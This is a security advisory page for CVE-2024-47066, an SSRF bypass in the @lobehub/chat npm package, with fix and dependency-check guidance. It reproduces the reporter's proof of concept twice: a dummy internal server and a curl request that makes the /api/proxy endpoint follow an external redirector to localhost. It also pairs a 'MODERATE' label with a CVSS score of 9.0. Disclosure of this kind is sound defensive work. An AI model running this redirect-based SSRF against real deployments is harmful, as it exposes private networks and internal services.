CVE-2024-47066: @lobehub/chat Lobe-chat Implemented An Insufficient Fix Vulnerability

MODERATE
Advisory Identifier: GHSA-3fc8-2r3f-8wrg
CVSS 9.0
CWE-918
Published
Advisory Summary

CVE-2024-47066 is a MODERATE (CVSS 9.0) lobe-chat implemented an insufficient fix vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @lobehub/chat libraries in the npm ecosystem. The issue involves lobe-chat implemented an insufficient fix for ghsa-mxhq-xw3g-rphc (cve-2024-32964). Remediation is available by upgrading affected packages to version 1.19.13.

CVE-2024-47066 at a Glance

CVE Identifier CVE-2024-47066
GHSA Identifier GHSA-3fc8-2r3f-8wrg
Severity MODERATE
CVSS v3.1 Base Score 9.0
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product @lobehub/chat
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2024-47066

To remediate this vulnerability, upgrade all affected @lobehub/chat dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@lobehub/chat fixed: 1.19.13
npm install @lobehub/chat@1.19.13
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @lobehub/chat

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-47066, inspect your project dependencies using npm:

npm ls @lobehub/chat

Analyze the terminal output to locate any version of @lobehub/chat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.13), your application is affected.

Note: The npm ls @lobehub/chat command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @lobehub/chat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content-Type': 'text/html'}); res.end(); }).listen(3001, 'localhost'); ``` And run ``` node dummy-server.js ``` as an example server inside of container [1] (or in containers private network). 3. Run in terminal to perform request to lobe-chat instance from [1] ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \ -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \ --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \ $'http://0.0.0.0:3210/api/proxy' ``` where body contains url of server which redirects to internal network (in my case it redirects according url parameter). 4. Observe in output of [2] ``` running server /iamssrf_1337 ``` 5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check. ### Fix recommendations: 1. Disable redirects - lobe-chat should consider explicitly disable redirects. 2. If redirects support is required, perform check before each http request. ### Impact https://portswigger.net/web-security/ssrf

CVE-2024-47066 Affected @lobehub/chat Versions

1 component(s)
Fixed Versions:
1.19.13
Product / Package Ecosystem Affected Versions Fixed Version
@lobehub/chat
npm
< 1.19.13
1.19.13

References

Frequently Asked Questions

What is CVE-2024-47066?
CVE-2024-47066 is a security vulnerability in @lobehub/chat involving lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964) under CWE-918: Server-Side Request Forgery (SSRF).
Which @lobehub/chat versions are affected?
Affected versions include releases prior to 1.19.13 across affected packages: @lobehub/chat.
What version fixes CVE-2024-47066?
Upgrading to 1.19.13 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @lobehub/chat affected?
Yes, @lobehub/chat is affected in releases prior to 1.19.13. Upgrade your dependency to 1.19.13 or later.
What is the CVSS score of CVE-2024-47066?
CVE-2024-47066 has a CVSS v3.1 base score of 9.0 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H.
What CWE is associated with CVE-2024-47066?
CVE-2024-47066 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2024-47066?
Run the dependency tree command: 'npm ls @lobehub/chat'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3fc8-2r3f-8wrg",
  "modified" : "2024-09-30T19:57:27Z",
  "published" : "2024-09-23T20:30:11Z",
  "aliases" : [ "CVE-2024-47066" ],
  "summary" : "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)",
  "details" : "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {'Content-Type': 'text/html'});\n  res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n    $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@lobehub/chat"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.19.13"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.19.12"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47066"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lobehub/lobe-chat"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-23T20:30:11Z",
    "nvd_published_at" : "2024-09-23T16:15:06Z"
  }
}